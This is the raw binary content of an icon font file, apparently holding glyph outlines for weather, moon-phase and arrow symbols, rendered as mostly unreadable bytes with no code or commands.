  p   - = J V f u    H/AͰ;/_Ͱ/3Ͱ2e/2ͰU/O/ ְͰJ+K2EͰQ2Eb+7ͳv7b+g3~Ͱo27+ͱ+ 99J!&).;$9E2W]_e$9b:Z997k{999 AHpr$9;go999_k99]9.7Zb$9eW92)99U&v~$9O!{9901476;2+"&4?632'&47632#"/&4$32 $4632"&55462"&32654&#"47632/&4?632#"&476;2+"$%11%%61'&3AB%#3&'pΕX  5&'45L56J65L5 ݜ)$'@@#&5#$0#%77%%'6L56B%0%'33%'&3EYp  Y&44&'66'I%66%%11XԏݜF%J22(6%(3L7J6     W/   C /Ͱ// ְͰ+ͱ+ 
$9  999014$32 &32654&#"   ۋ ޜ)   ԏݜ    v G W # D/KX/ְ2HͱY+H(9 0154754646=46=46574757656=6747676?>767>7676?	%#".73267654&#"	(+)Bl!E,uAI
	'
=6y
QyDKk9  	  	s   @  8HW  476;2+"&47632#"/&4>32&#"654&#"&5&76767>767>76?6;2##"'&6?>56'&'&'&'.'&'&'&'&'4&%47>?632222+"'"&#".#&'&6?>76'&'&54632#"&>?67632#"'&67>76'&'&4?632#"&476;2+"&'&55&(78("5%)[r-:'&⟞/+%		
	
		'4 

0						")'	 "5W'4"

LYA7&'66'&7f")'603O	'50!NB"$$&7$%2%&98''3&6&(66%'&5:qї[ݜ394	
)	}0Y= F
	  	*)(	#C.#	'$#'
$hm0Z; 	E@Gi'66'&22#C.#	)2"(6J|0Y= F8@G:BF(7&(5#7%'76   EP . ? L +/2Ͱ;/@/ ְ/Ͱ/6+ͱA+6/"%)+$9 2+)9;99015&>76632#"'&6767#".7326?47.#"#Jef7qVX"/M_P)oW_oqa[
bY4x~98s(UOwkoq-	%7x)ntbyZ`tW   b7& - 3 ./ְ"2Ͳ
+@	+
+@ 	+/+9 014676$3232#"&5465#"&547&'#.$#+y}Et;f0pONp		^'N/#ݲhj}8vc0AOooO	&
^%L)]     v  . @  A/!ְ/ͱB+ 016%673'&' 67.'&'.'&'"76767>76&vU Cf3)`J}M.!Ǝ-.(K7\<70=Cm69#^LT5p䵝82$@-</9b$#	
1+Bj$E 	  IA 
 H R ] i u     g  +aͰQ/:}33MͰy2F/-333Ͳ&222F
+@	+ 2\/3Wͱ22s/m/ ְͰJ+S22OͰX2O^+=j222dͲ6p222^d
+@^C	+2dw+2|ͱ*22|+ͱ+^OE99wd#&.0$9 FM36>@$9\99014632"&7463!'&4624632762!2#!"/#"&5"&4?!"&4762"'4762"'4632#"&4632#"& 4762"'4762"'4632#"&**+<**X,<,*;X++;*,<,*=,,==,=,**,,**,=,,==,=++++,,*+,=,V,,=,+<++W,<+;,;,";,;S++++++++;,;,";,;-,,++      cW   $ 0  >54&6 5 4 >54&>54&hhhʅށ瘘Ә?Ԙ]hhhh
%
&ݙݙܚܙ   X5   / +ͱ+ 0132$54'.'&' pNG+'c `	q[*'`     W  # ' + 9 = A  /Ͱ$/>3%Ͱ?2 /B/ ְͰ+ͳ=+:Ͱ:/=Ͱ=4 ,Ͱ,/4Ͱ+
ͱC+$&()+$9,*9: 9=/7$9429901>@$9 99$,27999%
 ./$9 )+01:;$90146$32 !& 32$54."537467#"&5353|!!|<Ƭaa>s87k]C#FbFEaJ"||ߟiK[H{aaMMy78Cb%(6Faa8OO  "  # 9 = I ` Y a/ ְͰ%+0Ͱ0K+VͰVD+ͱb+0%!:999K@	;=I>?$9VAG<999 0147? #"$&3267.#"4>32#".3#3267.#"4>32#".
yP(0B`r|ڣ}prsqqsrp=FqrsoosrqmJM*#C}y%ޅ0,8(H'8,zņH'8..8  rZ      333###3#3733#73&D@|{))ee8    ? -  3 */ͱ22/ְͱ+2u999 *9901&4732673267267"#"&#!""&#.' 4?252525324737373736;43637325;7;2;;3;32323333"/"&5"',]^,,^],-,6%
$4J3$4%3mO__OO__OO__O%62#33 $$      	6  = L X f v    /PͰ/M3 Ͱ Ͱ-/:3	Ͱ4// ְͰf+aͰa*+ͳS*+ͱ+f@		&-?FMX$9aP99S*U9gwx$9 PCj99 S$9-@	* Ux$9	17|$9429014676$3232#"&'!.7!6;23>54&+"5'.#"+&?632#"32654'4632"&54632#"/&4?632"46;2+"&))xyx&m]hmrҊ+l((y!&z V"^|5r++<+)~+!yy~<(,,( ݬyxppq2244{& ~+Vj~>2bz(,,r({+~>~{r**++   	x " = J  /BͰ />3&Ͱ-/:3	Ͱ4/K/ ְ#Ͱ#+>Ͱ>*+ͱL+#4999*>	2BH$99  BF9&!H$9- 999	1799942901476 32 322#".5!& 7!>54&+"5'&$#"+32>7&'2^Y4#qgF{ݞ]!ֶЎ8Àpcv!)֋򐸑XR^y
2֋̋>>ip`~#hh      	u   ; N  /?Ͱ/J3$Ͱ+/83	Ͱ2/O/ ְ!Ͱ!+<Ͱ<(+ͰD+ͱP+!2999(<	0?J$9G9 $D999+ G$9	/599920901476 32 32#".5!& 7!>54&+"5'&$#"+32>54&'!2^Y4#hx_yxܟ_"ֶЏ8
`tB?;> )֋ !R{ݞ]^x
2֋͋>>ZK|SNA
   n  1 L a  //5Ͱ</QͰC/MͰY/b/ ְ2Ͱ2X+ͲX
+@	+9X++ͱc+X2<MQ$99S9+)99 <5)+2 $9Q'(%?FIS$9MCU$9Y_`99990154676754 76;24##!"&73!2654&+"/.#"#32267&="&#"'y3'9:!*)%a#G{PL	3Fiݛ%cHEeeE
	][CBV/|]o4b?W~&\%c*
	K348uq]I''FLeC6NHefGEeD\||\;	ahMEvT8$TNl  
  	  < I V c o |      +Ͱ ͰG AͰAh nͰ/3Ͱ2"/:Ͱ4/3)ͰN TͰ4t zͰ4ͳ[)4+a/JְQͳDQJ+=Ͱ=/DͰQW+^Ͱk2^~+Ͱp wͰ+Ͱ+Ͱ+Ͱ7+&ͱ+J=AG99QDNT99Wde99^[a99w~tz$999
$9-099)492$9 A~9h9De=}$9k999nGd9999 99N:7&99t260999T4-JQpw$9z9a)W^99013!2"'&#"3264&#!"3!2654&#"327632#!"32654&#"32654&#"%32654&#"32654&#"32654&#"32654&#" 32654&#"32654&#").@?^&(9Zw}|(9'Z}}{U7('-.??.(9$'67&$4e$'56&$4C$'67&$4
#'67&$$'67&$4"#'67&$#'67&#$'56&$4	'@/.=7&(X86%{|U-)4!@\>8&2&%55&2&%55&2&%55+J2&%5&2&%55lJ2&%5pJ2&%6&2&%55      q  5 D x /3Ͱ,/AͰ%/6Ͱ9/E/ ְͰ/+Ͱ<+ͱF+/69A$9	?99 ,3	 $9A#)?$96%<9990153!2654'654.#"46?257>32;2#!"&>32&#.#ۛe쁯٩3yVBC[]	
EeeE%Hcl]^{/M6Ufڮ$\&~C`	<\||\EdEHffp;N    f   8/LͰ\/3iͱou22\i
+@\&	+Xb222|/	/@ְHͰHR+2,Ͱ2+H@>IZ[$9R8Ll999,|9 \L*.BDSZ$9iglrx$9	|9901>7 %54632#"'&##"'&'#"'.65462327>/#"'&"'.76;2>732>732&' !"f[*-.ɏ9B^$-2}7nB:$tbQQ2"&
%!lS&uY$$@p8<!+la	=f	=f
ZaGr~( 6/!))!/RQ_׀	%+./t^^,+'&*1#A//&<^$()7$95R5R/(v8    
  qE  7 E V {     }   +Ͳ  +Ͱ/
Ͱ /5Ͱf/lͳ0lf+&ͰC/3<Ͱ2s/\Ͳs\
+@sz	+//ְͰ?28Ͱ8/W+vͳ2vW+$Ͱv|+2Ͱ2p+aͲpa
+@pj	+ap+3Ͱ2a+ͱ+8999F9W.)JR$92/&4O$9|ei\ms$9pn9a999 
999999 995#999f90*,2$9l$9&)9<Capv999\sR99FO$9J990153!2"'&#"3264&#!"3!264&#"32762#!"476;2+"&47632#"/&5>32#"&=4;>54&#"+"54632"&5462"&47632/&4?632#"&476;2+"&s)??R $&4Uuvv&8'vwyP1'&T==*n&8i$%22%&61%#4%'pΕXݜy5&(35L55L55L5M%'@@#%6#$1#%88%%P&<V> 3LU6$QN1<V>7&6L56%'&3RYpݛЕ	&44&'66p%66%%11%J22(6%(3L7J6        	 0 M ]  -  +4Ͱ;/J3PͰC/Ͱ[/^/ ְ1Ͱ1X+Ͱ8+(Ͳ(8
+@(	+_+X1<NP$98S99($U99 ;4$( 999PSU999C?EF$9
N999[Y990147>7632>32#!".73!2654&+'.'"&#"53267&=&#&%cky-yz;=FW>lEB,t@̋̍QSuI("ǋ5](5"3Kn;	@2*2fbPHfpΐP-ʂMܑ~2@Ea      . /Ͳ
+@	+/ ְͲ 
+@	++ 01463!2+#"'#"&)2))"e))
1))'b )*      p  . /Ͳ
+@	+/ְͲ
+@	++ 014763254632#!"&546;")))))a>c)*))(            . Y   +Ͱ/// ְͰ!+'Ͱ'+	ͱ0+!9'9999 	 $+$9014$32#"$&732$$ 32654&#"bМzz䜝y!""!cz㝜yz󳱡D""!!            5 \   +Ͱ/6/ ְͰ!+)Ͱ)+	ͱ7+!9)3$9/99 	 %3$9014$32#"$&732$$ 46327>#"&bМzz䜝y!"3/'!cz㝜yz󳱡D!!Y.$!          5 \   +Ͱ/6/ ְͰ"+)Ͱ)+	ͱ7+"9)3$9.99 	 %3$9014$32#"$&732$$ 546276#"&bМzz䜝y!0!.!cz㝜yz󳱡D!!k.!         4    +Ͱ0/(Ͳ(0
+@(%	+/5/ ְͰ!+(Ͳ(!
+@(,	+(+	ͱ6+!9(9999 09(	 9999014$32#"$&732$$ 462!2#!#"&bМzz䜝y!0!!!	!cz㝜yz󳱡D!!s!"!            3 ]   +Ͱ/4/ ְͰ!+(Ͱ(+	ͱ5+!9(999+.999 	 $.$9014$32#"$&732$$ 462#"'%.bМzz䜝y!0!!cz㝜yz󳱡D!!\-         3 ]   +Ͱ/4/ ְͰ"+)Ͱ)+	ͱ5+"9)999+/999 	 %/$9014$32#"$&732$$ 5462#"'&bМzz䜝y!0!"cz㝜yz󳱡D!!J-
         , Y   +Ͱ/-/ ְͰ!+(Ͱ(+	ͱ.+!9(9999 	 $*$9014$32#"$&732$$ 462"&bМzz䜝y!0!!0!cz㝜yz󳱡D$!!""          3 ]   +Ͱ/4/ ְͰ$++Ͱ++	ͱ5+$"1999+9999 	 '1$9014$32#"$&732$$  &7462#"'bМzz䜝y!0!#cz㝜yz󳱡D&-!!:         3 ]   +Ͱ/4/ ְͰ$++Ͱ++	ͱ5+$!1999+9999 	 '1$9014$32#"$&732$$  6?462#"'bМzz䜝y!0!!cz㝜yz󳱡D-!!9         4    +Ͱ2/$Ͳ$2
+@$)	+/5/ ְͰ%+,Ͳ%,
+@%!	+,+	ͱ6+%9,9999 29$	 9999014$32#"$&732$$ 463!462#"'!"&bМzz䜝y!!0!!
!cz㝜yz󳱡D!!!9!"         5 \   +Ͱ/6/ ְͰ'+.Ͱ.+	ͱ7+'"99.2$99 	 *2$9014$32#"$&732$$ &7>462#"'%bМzz䜝y/!0!!cz㝜yz󳱡D,.kd!!:!          4 \   +Ͱ/5/ ְͰ'+.Ͱ.+	ͱ6+'!99.1$99 	 *1$9014$32#"$&732$$ $6765462#"'bМzz䜝yz/5!0!!)cz㝜yz󳱡Dh.Y!!9!$       & >   +Ͱ"/'/ ְͰ+
ͱ(+99 "
 990146$32#"$&732>54$#"zzz㝜zRm múmzz㝜zzmm =m         +/ְͱ+ 01!2$$#aчu8
/Oiba5pBwvwaU       /ְͱ+ 01!2$$#aqa/7Zba<n]        /
ְͱ+ 01!2$$#aѯ-H~ba΁c\       /
ְͱ+ 01!2$$#aф|!7^baΎkZ        /	ְͱ+ 01!2$$# bѫGba)        /	ְͱ+ 01!2$$# bѫGba)       / +ͱ	+ 01!2$$#aba     
  / +ͱ+ 012$$#JaJ0ba n   
  / +ͱ+ 012$$#nbђba &     / +ͱ+ 012$6&$#&a{zzhtz:zn       / +
ͱ+ 012$654$#@vTzъzʭCzb΅i         / +
ͱ+ 012$6&$#"Pizz㜫˧=z:zuc  J     / +ͱ+ 012$654$#J=bfzi|,zbf_           +
/+ͱ+ 01 $$ ba^^ba        / +ͱ+ 013$4.'"M}9aPy}꼎Moyڨ\y           / +ͱ+ 013$4.'"M}JX}꼎MM,     p   / +ͱ+ 013$4.'"M}r=kJy}꼎M*6y      '   / +ͱ+ 013$4'"y(y
         
  /+ͱ+ 013"a`i           / +ͱ+ 013"aѓz ;by          /+ͱ	+ 013"a^         
  /ְͱ+ 013"aff^B_      
  /ְͱ+ 013"b^h         /ְͱ+ 013$47"aΫ^          /ְͱ+ 013&7"b^gi           /ְͱ+ 013$4>7"aRj^Q- &         /ְ
ͱ+ 013.54>7"aѕ܃N!7]|o^9^Cqnub`'        / D   +Ͱ/0/ ְͰ+	ͱ1+/'$9 	 #($9014$32#"$&732$$ 	62/&&bМzz䜝yN  


	cz㝜yz󳱡D

YY    qC L _ k |          5476 32>32"=43>54&+"5'&$#"#32#&'.'5&5&4657>#"&#.462#"'&4?>#"'.4632'&/&462#"'&4?>'.4657>#"&#.462#"'&32654&#"54632#"&4?632&'4632#'"/&46;2+"'&1_㟃Psz.Ώ6t#,B?SKK
A($$A!!O2L22&%B"%&
E#"96(&C@!!E2L22&#BB#&%>% !)
A($%A !O2L22&%n/!ܛ2ݝ?6%&33&%6S&'I:5&%B$&E5''56&& *FUaŚbu͋??Çg.֋(8?&%
A"@F
2U&22&%1>$%@)?A
3	|&4F%';F%22%&2`%'?#`,!
5?&%
B"@E
2U&22&%20zXj&76''67NLJ&6C%&D&33L6    	  kq J ] i z        +Df33Ͱ?2  +v/pͰX/33RͰ2~Ͱ$/13Ͱ+/ͳ++/ ְ6Ͱ826 
+@6B	+6^+cͰcU OͰO/UͲOU
+@OK	+c{+Ͱt jͰj/tͰtmͰm/ Ͱ/3Ͱ+Ͱ Ͱ/Ͱ2+Ͱ! Ͳ!
+@!	++6>z +
. ......@O6.99^P[\999UX`f999caT99{v}99t9+~r$99
$9)$9%($9!$$999 pvj9Xo9~N99RPO$9Q99`99$2a$9(.$9+)9999
901=476 32>32"=43>54&+"5'&$#"#32#&'.'&4657>#"&#.462#"'&4?>#"'.462#"&4?>'.4657>#"&#.462"'&32654&#"1_㟃Psz.Ώ6_-5<HNKy%K
B'$$A!!O2L22&%B"%&
D#"T2L22&$4BB#&%>% !)
B'$%A !O2L22Ln/!ݚ2ݝ")FUaŚbu͋??Çe/(zKQ>&&
B"@F
2V&22&%2?$$@)>B
3Q%11%&24`&&
@#`, 
4>&&
B"@F
2V&22&%20zXi  	  o	 d w         =676 32>2 "=43>54&+"5'&$#"#2332#&'#.4657>#"&#.462#"'&4?>#"'.462#"&4?>'.4657>#"&#.462"'&3267.=#"2^v-y{;>FU?lFB'zFΑ8LB#6<{jF
A($$A!!O2L22&$B"%&
E#"T2L22&$4BB#&%>% !)
A($%A !O2L22LK-#ē6cHc	(1Jm;	A/+1hcRIvz
Ȉ>7ŅT0QE?&%
B"@E
2U&22&%2?$%@)?A
3Q%22%&24`%'@#`, 
4?&%
B"@F
2U&22&%2K~1>0f!`   n b u        476 323325"=43>54&+"5'&'.'&#4#&'&#"#32#&'.'5&5&4657>#"&#.462#"'&4?>#"'.462#"&4?>'.4657>#"&#.462"'&1_ifl&!UsΏwt6?6!.@ASKK
A($$A!!O2L22&%B"%&
E#"T2L22&$4BB#&%>% !)
A($%A !O2L22L")+4qu\9e""	̋?tj?ćL0.֋)7?&%
B"@F
2U&22&%2?$%@)?A
3Q%22%&24`%'@#`, 
4?&%
B"@F
2U&22&%2        , 8 X f r |    @ 6  +c330ͱ\22*/z33"ͱu22/3Ͱ2Q/=ͲQ=
+@QW	+J2q/k/ ְͰ9+Sͳ3S9+-Ͱ-/3ͰSg+nͳsng+xͰnN+HͰH }Ͱ}/ͳHN+ͰH+ͱ+ 99-9906999S3Y99gQ9s@A&kp$9}nP`uvz{$9Nx9H999 NS99QO9=99q$9k9901476;2+"& 547632#"/463!2#!"&4632#"&56 7;62; +"&5. +"463!2#!"&5462"&462"&46;2+"&5463!2#!"4?632#"&476;2+"&#%11%%61 $"3&'2+a+32,+2i;#*32+%9dyyk3*#;9%g+2e6J65L5:H:9J94**31,+3^9$G#.-$%"%6#$0"%77%%2&6L56&%'&3`$..$+32#:8%,24F*	ϕ	%8:#*42&66&%22"00"*44%88%,22=*"0/#+3(6&'3%7J65     	a  ; O \  A  +[Ͱ/
ͳV
+KͰ/Ͱ"/9Ͱ3/(]/ְͰ<+Pͳ6P<+&ͰPX+Hͱ^+9<,96/(8999&PA9XKU[999 [<HPX$9
V999K 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32>54&#"4>2#"	U**#9ooO%OppON9"**?%4Xj;RW@!OsE	'GX2jNc{(:*"9pPOq%po6!':*$SJ$7]nyc*K{KgV=88  	    ; ?  /
Ͱ/Ͱ"/9Ͱ3/(@/ְͰ?+>ͳ=>?+<Ͱ</=ͳ6=<+&ͱA+6>
 +
<.>.<=	>?	<=>?....@9?<(38,$9 
9999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!!	U**#9ooO%OppON9"**?%_{(:*"9pPOq%po6!':*$S     	  v  ; a  R/Kͳ
KR+ͳKR+Ͱ"/9Ͱ3/(b/ְͰ<26+&Ͱ&O NͰN/OͰ&U+Gͱc+9N,/9961(8]$9&O?@99UBKR\$9G=>99 RG9
999K 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!7!5>54.#"34632	U**#9ooO%OppON9"**?%M+x xSf>,\VE?006)"1{(:*"9pPOq%po6!':*$0"<>a:Yy3;R3 EMq8  	  a  ; k  A  +eͰ`/^ͰX/Qͳ
QX+ͳQX+Ͱ"/9Ͱ3/(l/ְͰ<+iͳ6i<+&Ͱib+DͰDK [Ͱ[/Kͱm+9<,96/(8T$9&iAU_999bQX^e$9D[GH99 `e<Di999^HG99TU99XK[99
999Q 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32654&'5>54.#"3>32+32#"'&7#	U**#9ooO%OppON9"**?%t"HYA4E[$9PQ-C2.52/mH4={(:*"9pPOq%po6!':*$+RM/:`dF1L017'"KK26$"=   	q  ; F J  /
Ͱ/D3Ͱ"/9Ͱ3/(K/ְͰ6+&Ͱ>2L+6> +
>.I?
C>=>I+?@?C+>J>I+=>I  #9J9@?C9 =>?@CIJ.......=?@CIJ......@96(,8<F$9&G9 
H99999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!3737##73	U**#9ooO%OppON9"**?%j}"&l&k`(4{(:*"9pPOq%po6!':*$4D   	o  ; _  A  +[ͰU/MͰ/J3
Ͱ/P3Ͱ"/9Ͱ3/(`/ְͰ6+&Ͱ&X+Gͱa+96(,8<=QR$9&ALMS^_$9XJNU[$9 U[GR<999
NO999999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32>54&#"#7!7!3632#"'&'	U**#9ooO%OppON9"**?%r!I[\P3lo,%p*ћ\3>JF2"{(:*"9pPOq%po6!':*$3]O/1H`O'k.m$6556B.  	x  ; Z i  ?  +gͰ^/EͰJ/Uͳ
UJ+ͳUJ+Ͱ"/9Ͱ3/(j/ְͰ<+[ͳ6[<+&Ͱ[d+Bͱk+9<,96/(8999&[GH99d?EJU^g$9BN9 ^g<B99EGH99JNO99
999U 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32654&#"#6323.#"4632#"&	U**#9ooO%OppON9"**?%ŎiuB5{(%9MR,d[<N1+D91={(:*"9pPOq%po6!':*$♺gP2P4"Mqwe;="2D9     	  ; E  /
Ͱ/A3Ͱ"/9Ͱ3/(F/ְͰ<+=ͳ&=<+6Ͱ6/&ͱG+9<,19963(8BC$9 
@CD$9999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!6?!! 	U**#9ooO%OppON9"**?%*|),t{(:*"9pPOq%po6!':*$Ga  	i  ; ^ n | ?  +iͰb/zͰr/Rͳ
Rr+ͳRr+Ͱ"/9Ͱ3/(}/ְͰ<+_Ͱ_o XͰX/oͰo& 6Ͱ6/&Ͱ_f+EͰEM uͰu/Mͱ~+9<,9X1/9963(8[\$9&o?9fRbijrz$9EuHIJ999 bi<E99zHI[\J$9rMXou$9
99R 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32>54&'7>54.#"4632#7".4632#"&	U**#9ooO%OppON9"**?%j_R3L>H^8`d:LzL2:3Z{Z?A;Q?*-QO80C
:)@3{(:*"9pPOq%po6!':*$}uy&8M@!B_
kI=W,1A@"7R
o@84;"-.&c3.+.1     	V  ; [ j  A  +WͰ_/Jͳ
J_+ͳJ_+Ͱ"/9Ͱ3/(k/ְͰM+\Ͱ\& 6Ͱ6/&Ͱ\b+Gͱl+9M,/<=$961(8999\[9&APW999bJST_g$9 W<GM\bf$9
_999J 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"32>54&#"32673#"'&'4632".	U**#9ooO%OppON9"**?%u6Yf<[\?·j9mVF.3>=694D/{(:*"9pPOq%po6!':*$s?\2Di;j.#Ll32I76$(%    		  ; ? P ^  E  +]Ͱ/
ͳW
+NͰ/Ͱ"/9Ͱ3/(_/ְͰ<2<+=ͳ?=<+>ͳ6=<+&Ͱ=@+QͰQZ+Kͱ`+6> +
<.>.<=	>?	<=>?....@9?<(38,$9ZQEN99 ]@KQZ$9
W999N 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!!32>54&#"4>32#"	U**#9ooO%OppON9"**?%W4Xi;bX:	'G,+4kNc{(:*"9pPOq%po6!':*$OSJ%Pvy4KhW=:7   	  ; ? C  /
Ͱ/Ͱ"/9Ͱ3/(D/ְͰ?+>ͳ=>?+<Ͱ</=ͳ6=<+&ͳ@>?+AͰ>C+BͱE+6> +
<.>.<=	>?	> +
@.B.@A	BC	<=>?@ABC........@9?<(38,$9 
9999"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!!!!	U**#9ooO%OppON9"**?%_{(:*"9pPOq%po6!':*$TT     	
  ; ? c  V/Oͳ
OV+ͳOV+Ͱ"/9Ͱ3/(d/ְͰ?+>ͳ=>?+<Ͱ</=ͳ6=<+&Ͱ>R+SͰSY+Kͱe+6> +
<.>.<=	>?	<=>?....@9?<(38,$9>&@9YSFOC]$9KAB99 VK9
9O99 99"%93/9(&,99013!2#"'&#"2654&#!"53!264&#"327632#!"!!!7!5>54.#"34632	U**#9ooO%OppON9"**?%_+y xRf>,\VF@0/Fb"1{(:*"9pPOq%po6!':*$T0"<?a:Yx2<R3!4:0DLn:    
   * 8 I n {    7   +Ͳz  +sͰ /(ͰY/_ͳ_Y+Ͱ6/3/Ͱ2f/OͲfO
+@fm	+//+ְ3Ͱ3J+iͰio+|2wͰ2wc+TͲcT
+@c]	+Tc+3Ͱ2T+ͱ+3+99J=E99iB99o$999wX\O`f$9ca9T999  99(s$999Y99_ 99/6Tci999OfE999B$9=99013!2654&#!"3!264&#!"3!2654&#!"476;2+"&47632#"/&5>32#"&=4;>54&#"+"54632"&5462"&47632/&4?632#"&476;2+"&'%32&&6$&&66&&56(&22&(6$%22%&61$#3&'pΕXݜz4&'45L45J65L4L%'@@#&5#$1"%88%%2&5&%33K'6J33&&22&(34~&6L56$'&3QYpݛЕ	&44&'65q&56%%11%J22(6%(3%7J65      G i    g  +Ͳ*_222g  +nͰ//ְjͲj
+@ 	+j+nͰjo+*Ͱ*++Ͱ+_ͱ+*op999+1399y999@	!5Sw#~$9_9 n@
#.<^,$901546;&'&5767676!2!&'&67%72532767;;;;3222/32#!"&!67676767'&76767&#"'.7676766767&'&#"!'%+""ab]#,mE94
7V\ZW1)55!f#$P$ "(8su	$e	ĝ[F	+0?֗QXA&itꧪX\#Ka*>4Be$Gf%hd)56&&%xr`~N7&I:R/ G]-eO1)/&RRx   0  E / 3Dͱ&C22F/G+6?9 +
C.B{/ +
	<;?z +
<;;:>x +
32 +
322,22+ +,+,++,  #9 @	+,23:;<B.................@	+,23:;<BC..................@ 013!2673267;>767!264&#!".'&..'&!"$>"`!"oL.$($$!YM %|%i #2#2!#2$!CQ;j    [  x " /Ͱp/#y/z+ #pXr99017463563#%#.&7676723&'&'&76767676767676'4767676747!.'&'&'&>,|
,>>,,>Y	&
#!6*K50
,4a;k'
$Ga*Y0M$
		((	$
m
+-0CD00BCwD^0bG9456SnV{TK>NS2@\]TJ:A]=SXhP?dVILD,}T"-.;25<=.(&=+)P22  y_   L h 8 i/>ְ8Ͳ8>
+@8.	+>8
+@>!	+j+8>6MNR$9 01&7676767676;!"&467>3232#"&5465#"&547&'#. &>732#!>.
"FLg2K,&<@,(Vf~c2.aK]Z\EM-
H38('8.D&CW{(,"8%<>nM+Q,*
34K>,DrsI2bPM96!KJuYtoYsQY?,o
1E (67'D.&/{4?&9"+31"G<WQb`[H       ; 2 9  +13%Ͱ*2</ ְͱ=+ !99 %9490146$; 2#67$ '#&4763!6!2#!"'%#!"&{ }![?QY@.KQ'+==++=|`lw8\".8;*+>>      " < / :  +43'Ͱ.2+  +=/ ְͱ>+ !#99 0146$;2#67$ '#&4763!2%63!2#!'!"&{ }Pe[@QY@ +W `+==++=|`gSlw8\ * <V=/=     S U e  H/,3=333YͲYH
+@Y	+b/ͰSͰ2/%3/QְVͲVQ
+@V		+QV
+@Q 	+JVQ+EͰV@+;Ͱ;+&Ͳ&
+@&"	+&
+@	+&1 6Ͱ6/1ͳu&+pͰp/uͱ+VJL9ECH]999;@9B$96f9948hk$9p9un9&3991/|~$9 YH+.8BPQ$9b&'$9015463!2+3>23.=46;232!#"&547#"&547#"&547.=##"&;26=4&+"2654&532654'673>54&'.#"#")/C\B#!,?Lk~'4-0""./!"028 4%':("00?YF6jCAdBb""->>-j!!""!!@,D*/aa/*,-aa/*/*aa.,<(\Pk"//"!/0 B- Q$1'(1"#Y?6T@TP@S    S     / ְͱ+ 013nJ%v      S    	  
/ ְͱ+ 0137	nJe%vv    ^     @ /Ͱ/Ͱ2
+@ 	+/ ְͰ+Ͱ	+ͱ+ 013!%!!yUlj%e@    ^       X /Ͱ/Ͱ/Ͱ/	Ͱ2	
+@ 	+/ ְͰ+2Ͱ2+2Ͱ
2+ 013!!!!!!yUpljj%H@@          C   +Ͳ  +/ְͰ+	ͱ+$9 99016$  $&6 54$z8zz@e8zzzza\
-|(         C   +Ͳ  +/ְͰ+	ͱ+$9 99016$  $&6$54$z8zzĘe8zzzzee+0          C   +Ͳ  +/ְͰ+	ͱ+$9 99016$  $&>54$z8zzce8zzzzfq%
t5           D   +Ͱ//ְͰ+	ͱ+$9 	 $9016$  $&>54$z8zzlge8zzzzg>r7           D   +Ͱ//ְͰ+	ͱ+$9 	 $9016$  $&>54$z8zzje8zzzzgVp:        L   +Ͱ//ְͰ+	ͱ+$999 	 $9016$  $&>.z8zz~ylme8zzzzgnmm         I   +Ͱ//ְͰ+	ͱ+9999 	 $9016$  $&32>54.+z8zzymme8zzzzmm        I   +Ͱ/ /ְͰ+	ͱ!+9999 	 $9016$  $&32>54.+z8zzTmmWe8zzzzzmm       ! D   +Ͱ/"/ְͰ+	ͱ#+$9 	 $9016$  $&32>54.#"z8zzmme8zzzzWmm          % B   +Ͱ!/&/ ְͰ+	ͱ'+999 !	 999014$32 $&%232$>54.#"bМzzz
 mm%obzzz9mm}       % >   +Ͱ!/&/ ְͰ+
ͱ'+99 !
 990146$32#"$&%32>54$#"zzz㝜zp0-4mú.#zz㝜zz!m =m          % >   +Ͱ!/&/ ְͰ+
ͱ'+99 !
 990146$32#"$&%32>54$#"zzz㝜zSKTmúF8zz㝜zzm =`          - >   +Ͱ%/./ ְͰ!+
ͱ/+!99 %
 990146$32#"$&732>54$#"zzz㝜z:`mEJmúWGZ[?zz㝜zzP~5m =+enop        & >   +Ͱ"/'/ ְͰ+
ͱ(+99 "
 990146$32#"$&732>54$#"zzz㝜zRm múmzz㝜zzmm =m       $ D 
  +Ͱ /%/ְͰ+ͱ&+	
$9   $901$  $327>54.'&#"ba^}n XDU~I-)Vc)Sm1a^3n-|O_8	l       & D   +Ͱ"/'/ְͰ+	ͱ(+$9 "	 $9016$  $&327>54.'&#"z8zz(m%-_@?s*me8zzzzm:eOm         % D   +Ͱ!/&/ְͰ+	ͱ'+$9 !	 $9016$  $&327>54'&#"z8zz(m"Pl5me8zzzzm>em|m       # D   +Ͱ/$/ְͰ+	ͱ%+$9 	 $9016$  $&;>54'#"z8zz(m=S(dkme8zzzzmBdgm         " D   +Ͱ/#/ְͰ+	ͱ$+$9 	 $9016$  $&32765&#"z8zz(mO9me8zzzzmVm         I   +Ͱ/ /ְͰ+	ͱ!+99	99 	 $9016$  $&;#"z8zz(mEFme8zzzzm 'm        I   +Ͱ//ְͰ+	ͱ+99	99 	 $9016$  $&;#"z8zz(mme8zzzzm]m           L   +Ͱ/ /ְͰ+	ͱ!+99	$9 	 $9016$  $&;#"z8zz(m<>me8zzzzm[Sm         L   +Ͱ//ְͰ+	ͱ+99	$9 	 $9016$  $&&"z8zz(lw{e8zzzzDnr<n          D   +Ͱ//ְͰ+	ͱ+	$9 	 $9016$  $&&47z8zz(i^V˴e8zzzzod          : /Ͳ
+@	+/ְͰ+	ͱ +	$9 016$  $&&547z8zz(gg~pаe8zzzzrzXi         C   +Ͳ  + /ְͰ+	ͱ!+	$9 99016$  $&&547z8zz(_be8zzzzwjXmku         C   +Ͳ  +/ְͰ+	ͱ +	$9 99016$  $& .547z8zz(IgO#̳e8zzzz)3rmc          +
/+ͱ+ 01 $$ ba^^ba    AX_<      S8    S8Z=             2  <H=                 D          b    b      1  v  v       |    1  ;  6  !  3  <  D  4  E  E  =  4  0  0  	    C  ;  	|  	  	B  
Q                        
  
  	  	  	  	  	  	  	  	  	  	    	  
y        	  	            `                r  	  d  8  ` (
H    [  9 S  	  
5  
